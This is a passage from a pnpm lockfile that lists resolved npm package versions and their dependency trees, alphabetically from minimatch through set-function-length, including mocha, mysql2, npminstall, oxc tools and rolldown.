2.0.2\n\n  minimatch@9.0.1:\n    dependencies:\n      brace-expansion: 2.0.2\n\n  minimatch@9.0.5:\n    dependencies:\n      brace-expansion: 2.0.2\n\n  minimist@1.2.8: {}\n\n  minipass-collect@1.0.2:\n    dependencies:\n      minipass: 3.3.6\n\n  minipass-fetch@2.1.2:\n    dependencies:\n      minipass: 3.3.6\n      minipass-sized: 1.0.3\n      minizlib: 2.1.2\n    optionalDependencies:\n      encoding: 0.1.13\n\n  minipass-fetch@3.0.5:\n    dependencies:\n      minipass: 7.1.2\n      minipass-sized: 1.0.3\n      minizlib: 2.1.2\n    optionalDependencies:\n      encoding: 0.1.13\n\n  minipass-flush@1.0.5:\n    dependencies:\n      minipass: 3.3.6\n\n  minipass-json-stream@1.0.2:\n    dependencies:\n      jsonparse: 1.3.1\n      minipass: 3.3.6\n\n  minipass-pipeline@1.2.4:\n    dependencies:\n      minipass: 3.3.6\n\n  minipass-sized@1.0.3:\n    dependencies:\n      minipass: 3.3.6\n\n  minipass@3.3.6:\n    dependencies:\n      yallist: 4.0.0\n\n  minipass@5.0.0: {}\n\n  minipass@7.1.2: {}\n\n  minisearch@7.2.0: {}\n\n  minizlib@2.1.2:\n    dependencies:\n      minipass: 3.3.6\n      yallist: 4.0.0\n\n  mitt@3.0.1: {}\n\n  mkdirp-infer-owner@2.0.0:\n    dependencies:\n      chownr: 2.0.0\n      infer-owner: 1.0.4\n      mkdirp: 1.0.4\n\n  mkdirp@0.5.6:\n    dependencies:\n      minimist: 1.2.8\n\n  mkdirp@1.0.4: {}\n\n  mm@4.0.2:\n    dependencies:\n      '@cnpmjs/muk-prop': 1.1.1\n      is-type-of: 2.2.0\n      thenify: 3.3.1\n\n  mocha@11.7.5:\n    dependencies:\n      browser-stdout: 1.3.1\n      chokidar: 4.0.3\n      debug: 4.4.3(supports-color@8.1.1)\n      diff: 7.0.0\n      escape-string-regexp: 4.0.0\n      find-up: 5.0.0\n      glob: 10.5.0\n      he: 1.2.0\n      is-path-inside: 3.0.3\n      js-yaml: 4.1.1\n      log-symbols: 4.1.0\n      minimatch: 9.0.5\n      ms: 2.1.3\n      picocolors: 1.1.1\n      serialize-javascript: 6.0.2\n      strip-json-comments: 3.1.1\n      supports-color: 8.1.1\n      workerpool: 9.3.4\n      yargs: 17.7.2\n      yargs-parser: 21.1.1\n      yargs-unparser: 2.0.0\n\n  moment@2.30.1: {}\n\n  mri@1.2.0: {}\n\n  mrmime@2.0.1: {}\n\n  ms@2.0.0: {}\n\n  ms@2.1.3: {}\n\n  multimatch@7.0.0:\n    dependencies:\n      array-differ: 4.0.0\n      array-union: 3.0.1\n      minimatch: 9.0.5\n\n  mustache@4.2.0: {}\n\n  mute-stream@0.0.8: {}\n\n  mysql2@3.15.2:\n    dependencies:\n      aws-ssl-profiles: 1.1.2\n      denque: 2.1.0\n      generate-function: 2.3.1\n      iconv-lite: 0.7.0\n      long: 5.3.2\n      lru.min: 1.1.2\n      named-placeholders: 1.1.3\n      seq-queue: 0.0.5\n      sqlstring: 2.3.3\n\n  mz@2.7.0:\n    dependencies:\n      any-promise: 1.3.0\n      object-assign: 4.1.1\n      thenify-all: 1.6.0\n\n  named-placeholders@1.1.3:\n    dependencies:\n      lru-cache: 7.18.3\n\n  nano-spawn@2.0.0: {}\n\n  nanoid@3.3.11: {}\n\n  nanoid@5.1.6: {}\n\n  needle@3.3.1:\n    dependencies:\n      iconv-lite: 0.6.3\n      sax: 1.4.3\n    optional: true\n\n  negotiator@0.6.3: {}\n\n  negotiator@0.6.4: {}\n\n  negotiator@1.0.0: {}\n\n  nice-try@1.0.5: {}\n\n  no-case@2.3.2:\n    dependencies:\n      lower-case: 1.1.4\n\n  node-addon-api@7.1.1:\n    optional: true\n\n  node-domexception@1.0.0: {}\n\n  node-gyp@9.4.1:\n    dependencies:\n      env-paths: 2.2.1\n      exponential-backoff: 3.1.3\n      glob: 7.2.3\n      graceful-fs: 4.2.11\n      make-fetch-happen: 10.2.1\n      nopt: 6.0.0\n      npmlog: 6.0.2\n      rimraf: 3.0.2\n      semver: 7.7.3\n      tar: 6.2.1\n      which: 2.0.2\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  node-hex@1.0.1: {}\n\n  node-homedir@1.1.1: {}\n\n  node-homedir@2.0.0: {}\n\n  nopt@6.0.0:\n    dependencies:\n      abbrev: 1.1.1\n\n  nopt@7.2.1:\n    dependencies:\n      abbrev: 2.0.0\n\n  normalize-package-data@5.0.0:\n    dependencies:\n      hosted-git-info: 6.1.3\n      is-core-module: 2.16.1\n      semver: 7.7.3\n      validate-npm-package-license: 3.0.4\n\n  normalize-path@3.0.0:\n    optional: true\n\n  npm-bundled@3.0.1:\n    dependencies:\n      npm-normalize-package-bin: 3.0.1\n\n  npm-install-checks@6.3.0:\n    dependencies:\n      semver: 7.7.3\n\n  npm-normalize-package-bin@1.0.1: {}\n\n  npm-normalize-package-bin@3.0.1: {}\n\n  npm-package-arg@10.1.0:\n    dependencies:\n      hosted-git-info: 6.1.3\n      proc-log: 3.0.0\n      semver: 7.7.3\n      validate-npm-package-name: 5.0.1\n\n  npm-package-arg@8.1.5:\n    dependencies:\n      hosted-git-info: 4.1.0\n      semver: 7.7.3\n      validate-npm-package-name: 3.0.0\n\n  npm-packlist@7.0.4:\n    dependencies:\n      ignore-walk: 6.0.5\n\n  npm-pick-manifest@8.0.2:\n    dependencies:\n      npm-install-checks: 6.3.0\n      npm-normalize-package-bin: 3.0.1\n      npm-package-arg: 10.1.0\n      semver: 7.7.3\n\n  npm-registry-fetch@14.0.5:\n    dependencies:\n      make-fetch-happen: 11.1.1\n      minipass: 5.0.0\n      minipass-fetch: 3.0.5\n      minipass-json-stream: 1.0.2\n      minizlib: 2.1.2\n      npm-package-arg: 10.1.0\n      proc-log: 3.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  npm-run-path@4.0.1:\n    dependencies:\n      path-key: 3.1.1\n\n  npm-run-path@6.0.0:\n    dependencies:\n      path-key: 4.0.0\n      unicorn-magic: 0.3.0\n\n  npminstall@7.12.0:\n    dependencies:\n      '@npmcli/arborist': 6.5.1\n      '@zkochan/cmd-shim': 5.4.1\n      await-event: 2.1.0\n      bin-links: 2.3.0\n      binary-mirror-config: 1.41.0\n      bug-versions: 1.117.0\n      bytes: 3.1.2\n      cacheable-lookup: 6.1.0\n      chalk: 2.4.2\n      destroy: 1.2.0\n      detect-libc: 2.1.2\n      execa: 5.1.1\n      fs-extra: 7.0.1\n      globby: 11.1.0\n      minimatch: 3.1.2\n      minimist: 1.2.8\n      moment: 2.30.1\n      ms: 2.1.3\n      node-gyp: 9.4.1\n      node-homedir: 1.1.1\n      normalize-package-data: 5.0.0\n      npm-normalize-package-bin: 3.0.1\n      npm-package-arg: 8.1.5\n      ora: 4.1.1\n      p-map: 2.1.0\n      pacote: 15.2.0\n      rc: 1.2.8\n      semver: 7.7.3\n      tar: 6.2.1\n      urllib: 3.27.3\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  npmlog@6.0.2:\n    dependencies:\n      are-we-there-yet: 3.0.1\n      console-control-strings: 1.1.0\n      gauge: 4.0.4\n      set-blocking: 2.0.0\n\n  npmlog@7.0.1:\n    dependencies:\n      are-we-there-yet: 4.0.2\n      console-control-strings: 1.1.0\n      gauge: 5.0.2\n      set-blocking: 2.0.0\n\n  nprogress@0.2.0:\n    optional: true\n\n  nth-check@2.1.1:\n    dependencies:\n      boolbase: 1.0.0\n\n  nunjucks-markdown@2.0.1(nunjucks@3.2.4(chokidar@3.6.0)):\n    dependencies:\n      nunjucks: 3.2.4(chokidar@3.6.0)\n\n  nunjucks@3.2.4(chokidar@3.6.0):\n    dependencies:\n      a-sync-waterfall: 1.0.1\n      asap: 2.0.6\n      commander: 5.1.0\n    optionalDependencies:\n      chokidar: 3.6.0\n\n  object-assign@4.1.1: {}\n\n  object-inspect@1.13.4: {}\n\n  object-is@1.1.6:\n    dependencies:\n      call-bind: 1.0.8\n      define-properties: 1.2.1\n\n  object-keys@1.1.1: {}\n\n  object.assign@4.1.7:\n    dependencies:\n      call-bind: 1.0.8\n      call-bound: 1.0.4\n      define-properties: 1.2.1\n      es-object-atoms: 1.1.1\n      has-symbols: 1.1.0\n      object-keys: 1.1.1\n\n  obug@2.1.1: {}\n\n  on-finished@2.4.1:\n    dependencies:\n      ee-first: 1.1.1\n\n  once@1.4.0:\n    dependencies:\n      wrappy: 1.0.2\n\n  onelogger@1.0.1: {}\n\n  onetime@5.1.2:\n    dependencies:\n      mimic-fn: 2.1.0\n\n  onetime@7.0.0:\n    dependencies:\n      mimic-function: 5.0.1\n\n  oniguruma-parser@0.12.1: {}\n\n  oniguruma-to-es@4.3.3:\n    dependencies:\n      oniguruma-parser: 0.12.1\n      regex: 6.0.1\n      regex-recursion: 6.0.2\n\n  openai@6.22.0(ws@8.19.0)(zod@3.25.76):\n    optionalDependencies:\n      ws: 8.19.0\n      zod: 3.25.76\n    optional: true\n\n  openai@6.22.0(ws@8.19.0)(zod@4.3.6):\n    optionalDependencies:\n      ws: 8.19.0\n      zod: 4.3.6\n\n  ora@4.1.1:\n    dependencies:\n      chalk: 3.0.0\n      cli-cursor: 3.1.0\n      cli-spinners: 2.9.2\n      is-interactive: 1.0.0\n      log-symbols: 3.0.0\n      mute-stream: 0.0.8\n      strip-ansi: 6.0.1\n      wcwidth: 1.0.1\n\n  os-name@1.0.3:\n    dependencies:\n      osx-release: 1.1.0\n      win-release: 1.1.1\n\n  oss-client@2.5.1:\n    dependencies:\n      is-type-of: 2.2.0\n      mime: 3.0.0\n      ms: 2.1.3\n      oss-interface: 1.5.0\n      stream-wormhole: 2.0.1\n      urllib: 4.8.2\n      utility: 2.5.0\n      xml2js: 0.6.2\n\n  oss-interface@1.5.0:\n    dependencies:\n      type-fest: 4.41.0\n\n  osx-release@1.1.0:\n    dependencies:\n      minimist: 1.2.8\n\n  oxc-minify@0.105.0:\n    optionalDependencies:\n      '@oxc-minify/binding-android-arm64': 0.105.0\n      '@oxc-minify/binding-darwin-arm64': 0.105.0\n      '@oxc-minify/binding-darwin-x64': 0.105.0\n      '@oxc-minify/binding-freebsd-x64': 0.105.0\n      '@oxc-minify/binding-linux-arm-gnueabihf': 0.105.0\n      '@oxc-minify/binding-linux-arm64-gnu': 0.105.0\n      '@oxc-minify/binding-linux-arm64-musl': 0.105.0\n      '@oxc-minify/binding-linux-riscv64-gnu': 0.105.0\n      '@oxc-minify/binding-linux-s390x-gnu': 0.105.0\n      '@oxc-minify/binding-linux-x64-gnu': 0.105.0\n      '@oxc-minify/binding-linux-x64-musl': 0.105.0\n      '@oxc-minify/binding-openharmony-arm64': 0.105.0\n      '@oxc-minify/binding-wasm32-wasi': 0.105.0\n      '@oxc-minify/binding-win32-arm64-msvc': 0.105.0\n      '@oxc-minify/binding-win32-x64-msvc': 0.105.0\n\n  oxc-resolver@11.10.0:\n    optionalDependencies:\n      '@oxc-resolver/binding-android-arm-eabi': 11.10.0\n      '@oxc-resolver/binding-android-arm64': 11.10.0\n      '@oxc-resolver/binding-darwin-arm64': 11.10.0\n      '@oxc-resolver/binding-darwin-x64': 11.10.0\n      '@oxc-resolver/binding-freebsd-x64': 11.10.0\n      '@oxc-resolver/binding-linux-arm-gnueabihf': 11.10.0\n      '@oxc-resolver/binding-linux-arm-musleabihf': 11.10.0\n      '@oxc-resolver/binding-linux-arm64-gnu': 11.10.0\n      '@oxc-resolver/binding-linux-arm64-musl': 11.10.0\n      '@oxc-resolver/binding-linux-ppc64-gnu': 11.10.0\n      '@oxc-resolver/binding-linux-riscv64-gnu': 11.10.0\n      '@oxc-resolver/binding-linux-riscv64-musl': 11.10.0\n      '@oxc-resolver/binding-linux-s390x-gnu': 11.10.0\n      '@oxc-resolver/binding-linux-x64-gnu': 11.10.0\n      '@oxc-resolver/binding-linux-x64-musl': 11.10.0\n      '@oxc-resolver/binding-wasm32-wasi': 11.10.0\n      '@oxc-resolver/binding-win32-arm64-msvc': 11.10.0\n      '@oxc-resolver/binding-win32-ia32-msvc': 11.10.0\n      '@oxc-resolver/binding-win32-x64-msvc': 11.10.0\n\n  oxfmt@0.20.0:\n    dependencies:\n      tinypool: 2.0.0\n    optionalDependencies:\n      '@oxfmt/darwin-arm64': 0.20.0\n      '@oxfmt/darwin-x64': 0.20.0\n      '@oxfmt/linux-arm64-gnu': 0.20.0\n      '@oxfmt/linux-arm64-musl': 0.20.0\n      '@oxfmt/linux-x64-gnu': 0.20.0\n      '@oxfmt/linux-x64-musl': 0.20.0\n      '@oxfmt/win32-arm64': 0.20.0\n      '@oxfmt/win32-x64': 0.20.0\n\n  oxlint-tsgolint@0.11.0:\n    optionalDependencies:\n      '@oxlint-tsgolint/darwin-arm64': 0.11.0\n      '@oxlint-tsgolint/darwin-x64': 0.11.0\n      '@oxlint-tsgolint/linux-arm64': 0.11.0\n      '@oxlint-tsgolint/linux-x64': 0.11.0\n      '@oxlint-tsgolint/win32-arm64': 0.11.0\n      '@oxlint-tsgolint/win32-x64': 0.11.0\n\n  oxlint@1.32.0(oxlint-tsgolint@0.11.0):\n    optionalDependencies:\n      '@oxlint/darwin-arm64': 1.32.0\n      '@oxlint/darwin-x64': 1.32.0\n      '@oxlint/linux-arm64-gnu': 1.32.0\n      '@oxlint/linux-arm64-musl': 1.32.0\n      '@oxlint/linux-x64-gnu': 1.32.0\n      '@oxlint/linux-x64-musl': 1.32.0\n      '@oxlint/win32-arm64': 1.32.0\n      '@oxlint/win32-x64': 1.32.0\n      oxlint-tsgolint: 0.11.0\n\n  p-event@6.0.1:\n    dependencies:\n      p-timeout: 6.1.4\n\n  p-filter@4.1.0:\n    dependencies:\n      p-map: 7.0.3\n\n  p-finally@1.0.0: {}\n\n  p-limit@2.3.0:\n    dependencies:\n      p-try: 2.2.0\n\n  p-limit@3.1.0:\n    dependencies:\n      yocto-queue: 0.1.0\n\n  p-locate@3.0.0:\n    dependencies:\n      p-limit: 2.3.0\n\n  p-locate@5.0.0:\n    dependencies:\n      p-limit: 3.1.0\n\n  p-map@2.1.0: {}\n\n  p-map@4.0.0:\n    dependencies:\n      aggregate-error: 3.1.0\n\n  p-map@7.0.3: {}\n\n  p-queue@6.6.2:\n    dependencies:\n      eventemitter3: 4.0.7\n      p-timeout: 3.2.0\n\n  p-queue@9.1.0:\n    dependencies:\n      eventemitter3: 5.0.1\n      p-timeout: 7.0.1\n\n  p-retry@7.1.1:\n    dependencies:\n      is-network-error: 1.3.0\n\n  p-timeout@3.2.0:\n    dependencies:\n      p-finally: 1.0.0\n\n  p-timeout@4.1.0: {}\n\n  p-timeout@6.1.4: {}\n\n  p-timeout@7.0.1: {}\n\n  p-try@2.2.0: {}\n\n  package-json-from-dist@1.0.1: {}\n\n  package-manager-detector@1.6.0: {}\n\n  pacote@15.2.0:\n    dependencies:\n      '@npmcli/git': 4.1.0\n      '@npmcli/installed-package-contents': 2.1.0\n      '@npmcli/promise-spawn': 6.0.2\n      '@npmcli/run-script': 6.0.2\n      cacache: 17.1.4\n      fs-minipass: 3.0.3\n      minipass: 5.0.0\n      npm-package-arg: 10.1.0\n      npm-packlist: 7.0.4\n      npm-pick-manifest: 8.0.2\n      npm-registry-fetch: 14.0.5\n      proc-log: 3.0.0\n      promise-retry: 2.0.1\n      read-package-json: 6.0.4\n      read-package-json-fast: 3.0.2\n      sigstore: 1.9.0\n      ssri: 10.0.6\n      tar: 6.2.1\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  param-case@2.1.1:\n    dependencies:\n      no-case: 2.3.2\n\n  parse-conflict-json@3.0.1:\n    dependencies:\n      json-parse-even-better-errors: 3.0.2\n      just-diff: 6.0.2\n      just-diff-apply: 5.5.0\n\n  parse-ms@4.0.0: {}\n\n  parse-node-version@1.0.1:\n    optional: true\n\n  parse5-htmlparser2-tree-adapter@7.1.0:\n    dependencies:\n      domhandler: 5.0.3\n      parse5: 7.3.0\n\n  parse5-parser-stream@7.1.2:\n    dependencies:\n      parse5: 7.3.0\n\n  parse5@7.3.0:\n    dependencies:\n      entities: 6.0.1\n\n  parseurl@1.3.3: {}\n\n  pascal-case@2.0.1:\n    dependencies:\n      camel-case: 3.0.0\n      upper-case-first: 1.1.2\n\n  path-case@2.1.1:\n    dependencies:\n      no-case: 2.3.2\n\n  path-exists@3.0.0: {}\n\n  path-exists@4.0.0: {}\n\n  path-is-absolute@1.0.1: {}\n\n  path-key@2.0.1: {}\n\n  path-key@3.1.1: {}\n\n  path-key@4.0.0: {}\n\n  path-scurry@1.11.1:\n    dependencies:\n      lru-cache: 10.4.3\n      minipass: 7.1.2\n\n  path-scurry@2.0.1:\n    dependencies:\n      lru-cache: 11.2.4\n      minipass: 7.1.2\n\n  path-to-regexp@0.1.12: {}\n\n  path-to-regexp@1.9.0:\n    dependencies:\n      isarray: 0.0.1\n\n  path-to-regexp@6.3.0: {}\n\n  path-to-regexp@8.3.0: {}\n\n  path-type@4.0.0: {}\n\n  path-type@6.0.0: {}\n\n  pathe@2.0.3: {}\n\n  pause-stream@0.0.11:\n    dependencies:\n      through: 2.3.8\n\n  perfect-debounce@2.0.0: {}\n\n  performance-ms@1.1.0: {}\n\n  picocolors@1.1.1: {}\n\n  picomatch@2.3.1: {}\n\n  picomatch@4.0.3: {}\n\n  pidtree@0.6.0: {}\n\n  pify@4.0.1:\n    optional: true\n\n  pirates@4.0.7: {}\n\n  pkce-challenge@5.0.1: {}\n\n  pkg-types@2.3.0:\n    dependencies:\n      confbox: 0.2.2\n      exsolve: 1.0.7\n      pathe: 2.0.3\n    optional: true\n\n  platform@1.3.6: {}\n\n  pluralize@7.0.0: {}\n\n  pluralize@8.0.0: {}\n\n  possible-typed-array-names@1.1.0: {}\n\n  postcss-selector-parser@6.1.2:\n    dependencies:\n      cssesc: 3.0.0\n      util-deprecate: 1.0.2\n\n  postcss@8.5.6:\n    dependencies:\n      nanoid: 3.3.11\n      picocolors: 1.1.1\n      source-map-js: 1.2.1\n\n  pretty-bytes@7.1.0: {}\n\n  pretty-ms@9.3.0:\n    dependencies:\n      parse-ms: 4.0.0\n\n  proc-log@3.0.0: {}\n\n  promise-all-reject-late@1.0.1: {}\n\n  promise-call-limit@1.0.2: {}\n\n  promise-inflight@1.0.1: {}\n\n  promise-retry@2.0.1:\n    dependencies:\n      err-code: 2.0.3\n      retry: 0.12.0\n\n  property-information@7.1.0: {}\n\n  proto-list@1.2.4: {}\n\n  proxy-addr@2.0.7:\n    dependencies:\n      forwarded: 0.2.0\n      ipaddr.js: 1.9.1\n\n  proxy-from-env@1.1.0:\n    optional: true\n\n  prr@1.0.1:\n    optional: true\n\n  publint@0.3.16:\n    dependencies:\n      '@publint/pack': 0.1.2\n      package-manager-detector: 1.6.0\n      picocolors: 1.1.1\n      sade: 1.8.1\n\n  pump@3.0.3:\n    dependencies:\n      end-of-stream: 1.4.5\n      once: 1.4.0\n\n  punycode.js@2.3.1: {}\n\n  qs@6.13.0:\n    dependencies:\n      side-channel: 1.1.0\n\n  qs@6.15.0:\n    dependencies:\n      side-channel: 1.1.0\n\n  quansync@1.0.0: {}\n\n  queue-microtask@1.2.3: {}\n\n  random-bytes@1.0.0: {}\n\n  randombytes@2.1.0:\n    dependencies:\n      safe-buffer: 5.2.1\n\n  range-parser@1.2.1: {}\n\n  raw-body@2.5.2:\n    dependencies:\n      bytes: 3.1.2\n      http-errors: 2.0.0\n      iconv-lite: 0.4.24\n      unpipe: 1.0.0\n\n  raw-body@3.0.1:\n    dependencies:\n      bytes: 3.1.2\n      http-errors: 2.0.0\n      iconv-lite: 0.7.0\n      unpipe: 1.0.0\n\n  rc@1.2.8:\n    dependencies:\n      deep-extend: 0.6.0\n      ini: 1.3.8\n      minimist: 1.2.8\n      strip-json-comments: 2.0.1\n\n  read-cmd-shim@2.0.0: {}\n\n  read-cmd-shim@4.0.0: {}\n\n  read-env-value@1.1.0: {}\n\n  read-package-json-fast@3.0.2:\n    dependencies:\n      json-parse-even-better-errors: 3.0.2\n      npm-normalize-package-bin: 3.0.1\n\n  read-package-json@6.0.4:\n    dependencies:\n      glob: 10.5.0\n      json-parse-even-better-errors: 3.0.2\n      normalize-package-data: 5.0.0\n      npm-normalize-package-bin: 3.0.1\n\n  readable-stream@3.6.2:\n    dependencies:\n      inherits: 2.0.4\n      string_decoder: 1.3.0\n      util-deprecate: 1.0.2\n\n  readdirp@3.6.0:\n    dependencies:\n      picomatch: 2.3.1\n    optional: true\n\n  readdirp@4.1.2: {}\n\n  readline-sync@1.4.10: {}\n\n  ready-callback@4.0.0:\n    dependencies:\n      get-ready: 3.4.0\n      once: 1.4.0\n\n  redis-errors@1.2.0: {}\n\n  redis-parser@3.0.0:\n    dependencies:\n      redis-errors: 1.2.0\n\n  reflect-metadata@0.1.14: {}\n\n  reflect-metadata@0.2.2: {}\n\n  regex-recursion@6.0.2:\n    dependencies:\n      regex-utilities: 2.3.0\n\n  regex-utilities@2.3.0: {}\n\n  regex@6.0.1:\n    dependencies:\n      regex-utilities: 2.3.0\n\n  regexp.prototype.flags@1.5.4:\n    dependencies:\n      call-bind: 1.0.8\n      define-properties: 1.2.1\n      es-errors: 1.3.0\n      get-proto: 1.0.1\n      gopd: 1.2.0\n      set-function-name: 2.0.2\n\n  remark-frontmatter@5.0.0:\n    dependencies:\n      '@types/mdast': 4.0.4\n      mdast-util-frontmatter: 2.0.1\n      micromark-extension-frontmatter: 2.0.0\n      unified: 11.0.5\n    transitivePeerDependencies:\n      - supports-color\n\n  remark-parse@11.0.0:\n    dependencies:\n      '@types/mdast': 4.0.4\n      mdast-util-from-markdown: 2.0.2\n      micromark-util-types: 2.0.2\n      unified: 11.0.5\n    transitivePeerDependencies:\n      - supports-color\n\n  remark-stringify@11.0.0:\n    dependencies:\n      '@types/mdast': 4.0.4\n      mdast-util-to-markdown: 2.1.2\n      unified: 11.0.5\n\n  remark@15.0.1:\n    dependencies:\n      '@types/mdast': 4.0.4\n      remark-parse: 11.0.0\n      remark-stringify: 11.0.0\n      unified: 11.0.5\n    transitivePeerDependencies:\n      - supports-color\n\n  require-directory@2.1.1: {}\n\n  require-from-string@2.0.2: {}\n\n  require-main-filename@2.0.0: {}\n\n  resolve-path@1.4.0:\n    dependencies:\n      http-errors: 1.6.3\n      path-is-absolute: 1.0.1\n\n  resolve-pkg-maps@1.0.0: {}\n\n  restore-cursor@3.1.0:\n    dependencies:\n      onetime: 5.1.2\n      signal-exit: 3.0.7\n\n  restore-cursor@5.1.0:\n    dependencies:\n      onetime: 7.0.0\n      signal-exit: 4.1.0\n\n  retry@0.12.0: {}\n\n  reusify@1.1.0: {}\n\n  rfdc@1.4.1: {}\n\n  rimraf@3.0.2:\n    dependencies:\n      glob: 7.2.3\n\n  rimraf@6.1.2:\n    dependencies:\n      glob: 13.0.0\n      package-json-from-dist: 1.0.1\n\n  rndm@1.2.0: {}\n\n  rolldown-plugin-dts@0.19.1(@typescript/native-preview@7.0.0-dev.20260117.1)(oxc-resolver@11.10.0)(rolldown@1.0.0-beta.55)(typescript@5.9.3):\n    dependencies:\n      '@babel/generator': 7.28.5\n      '@babel/parser': 7.28.5\n      '@babel/types': 7.28.5\n      ast-kit: 2.2.0\n      birpc: 4.0.0\n      dts-resolver: 2.1.3(oxc-resolver@11.10.0)\n      get-tsconfig: 4.13.0\n      obug: 2.1.1\n      rolldown: 1.0.0-beta.55\n    optionalDependencies:\n      '@typescript/native-preview': 7.0.0-dev.20260117.1\n      typescript: 5.9.3\n    transitivePeerDependencies:\n      - oxc-resolver\n\n  rolldown-vite@7.3.0(@types/node@24.10.2)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2):\n    dependencies:\n      '@oxc-project/runtime': 0.101.0\n      fdir: 6.5.0(picomatch@4.0.3)\n      lightningcss: 1.30.2\n      picomatch: 4.0.3\n      postcss: 8.5.6\n      rolldown: 1.0.0-beta.53\n      tinyglobby: 0.2.15\n    optionalDependencies:\n      '@types/node': 24.10.2\n      esbuild: 0.27.0\n      fsevents: 2.3.3\n      jiti: 2.6.1\n      less: 4.4.2\n      sass: 1.93.2\n      terser: 5.44.0\n      tsx: 4.20.6\n      yaml: 2.8.2\n\n  rolldown@1.0.0-beta.53:\n    dependencies:\n      '@oxc-project/types': 0.101.0\n      '@rolldown/pluginutils': 1.0.0-beta.53\n    optionalDependencies:\n      '@rolldown/binding-android-arm64': 1.0.0-beta.53\n      '@rolldown/binding-darwin-arm64': 1.0.0-beta.53\n      '@rolldown/binding-darwin-x64': 1.0.0-beta.53\n      '@rolldown/binding-freebsd-x64': 1.0.0-beta.53\n      '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-beta.53\n      '@rolldown/binding-linux-arm64-gnu': 1.0.0-beta.53\n      '@rolldown/binding-linux-arm64-musl': 1.0.0-beta.53\n      '@rolldown/binding-linux-x64-gnu': 1.0.0-beta.53\n      '@rolldown/binding-linux-x64-musl': 1.0.0-beta.53\n      '@rolldown/binding-openharmony-arm64': 1.0.0-beta.53\n      '@rolldown/binding-wasm32-wasi': 1.0.0-beta.53\n      '@rolldown/binding-win32-arm64-msvc': 1.0.0-beta.53\n      '@rolldown/binding-win32-x64-msvc': 1.0.0-beta.53\n\n  rolldown@1.0.0-beta.55:\n    dependencies:\n      '@oxc-project/types': 0.103.0\n      '@rolldown/pluginutils': 1.0.0-beta.55\n    optionalDependencies:\n      '@rolldown/binding-android-arm64': 1.0.0-beta.55\n      '@rolldown/binding-darwin-arm64': 1.0.0-beta.55\n      '@rolldown/binding-darwin-x64': 1.0.0-beta.55\n      '@rolldown/binding-freebsd-x64': 1.0.0-beta.55\n      '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-beta.55\n      '@rolldown/binding-linux-arm64-gnu': 1.0.0-beta.55\n      '@rolldown/binding-linux-arm64-musl': 1.0.0-beta.55\n      '@rolldown/binding-linux-x64-gnu': 1.0.0-beta.55\n      '@rolldown/binding-linux-x64-musl': 1.0.0-beta.55\n      '@rolldown/binding-openharmony-arm64': 1.0.0-beta.55\n      '@rolldown/binding-wasm32-wasi': 1.0.0-beta.55\n      '@rolldown/binding-win32-arm64-msvc': 1.0.0-beta.55\n      '@rolldown/binding-win32-x64-msvc': 1.0.0-beta.55\n\n  router@2.2.0:\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n      depd: 2.0.0\n      is-promise: 4.0.0\n      parseurl: 1.3.3\n      path-to-regexp: 8.3.0\n    transitivePeerDependencies:\n      - supports-color\n\n  run-parallel@1.2.0:\n    dependencies:\n      queue-microtask: 1.2.3\n\n  runscript@2.0.1:\n    dependencies:\n      is-type-of: 2.2.0\n\n  sade@1.8.1:\n    dependencies:\n      mri: 1.2.0\n\n  safe-buffer@5.2.1: {}\n\n  safe-regex-test@1.1.0:\n    dependencies:\n      call-bound: 1.0.4\n      es-errors: 1.3.0\n      is-regex: 1.2.1\n\n  safe-timers@1.1.0: {}\n\n  safer-buffer@2.1.2: {}\n\n  sass@1.93.2:\n    dependencies:\n      chokidar: 4.0.3\n      immutable: 5.1.4\n      source-map-js: 1.2.1\n    optionalDependencies:\n      '@parcel/watcher': 2.5.1\n    optional: true\n\n  sax@1.4.3: {}\n\n  sdk-base@3.6.0:\n    dependencies:\n      await-event: 2.1.0\n      await-first: 1.0.0\n      co: 4.6.0\n      is-type-of: 1.4.0\n\n  sdk-base@4.2.1:\n    dependencies:\n      await-event: 2.1.0\n      await-first: 1.0.0\n      co: 4.6.0\n      p-timeout: 4.1.0\n\n  sdk-base@5.0.1:\n    dependencies:\n      gals: 1.0.2\n      get-ready: 3.4.0\n      is-type-of: 2.2.0\n      utility: 2.5.0\n\n  section-matter@1.0.0:\n    dependencies:\n      extend-shallow: 2.0.1\n      kind-of: 6.0.3\n\n  semver@5.7.2: {}\n\n  semver@7.7.3: {}\n\n  send@0.19.0:\n    dependencies:\n      debug: 2.6.9\n      depd: 2.0.0\n      destroy: 1.2.0\n      encodeurl: 1.0.2\n      escape-html: 1.0.3\n      etag: 1.8.1\n      fresh: 0.5.2\n      http-errors: 2.0.0\n      mime: 1.6.0\n      ms: 2.1.3\n      on-finished: 2.4.1\n      range-parser: 1.2.1\n      statuses: 2.0.1\n    transitivePeerDependencies:\n      - supports-color\n\n  send@1.2.1:\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      etag: 1.8.1\n      fresh: 2.0.0\n      http-errors: 2.0.1\n      mime-types: 3.0.2\n      ms: 2.1.3\n      on-finished: 2.4.1\n      range-parser: 1.2.1\n      statuses: 2.0.2\n    transitivePeerDependencies:\n      - supports-color\n\n  sendmessage@3.0.2: {}\n\n  sentence-case@2.1.1:\n    dependencies:\n      no-case: 2.3.2\n      upper-case-first: 1.1.2\n\n  seq-queue@0.0.5: {}\n\n  serialize-javascript@6.0.2:\n    dependencies:\n      randombytes: 2.1.0\n\n  serialize-json@1.0.3:\n    dependencies:\n      debug: 3.2.7\n      is-type-of: 1.4.0\n      utility: 1.18.0\n    transitivePeerDependencies:\n      - supports-color\n\n  serve-static@1.16.2:\n    dependencies:\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      parseurl: 1.3.3\n      send: 0.19.0\n    transitivePeerDependencies:\n      - supports-color\n\n  serve-static@2.2.1:\n    dependencies:\n      encodeurl: 2.0.0\n      escape-html: 1.0.3\n      parseurl: 1.3.3\n      send: 1.2.1\n    transitivePeerDependencies:\n      - supports-color\n\n  set-blocking@2.0.0: {}\n\n  set-function-length@1.2.2:\n    dependencies:\n      define-data-property: 1.1.4\n      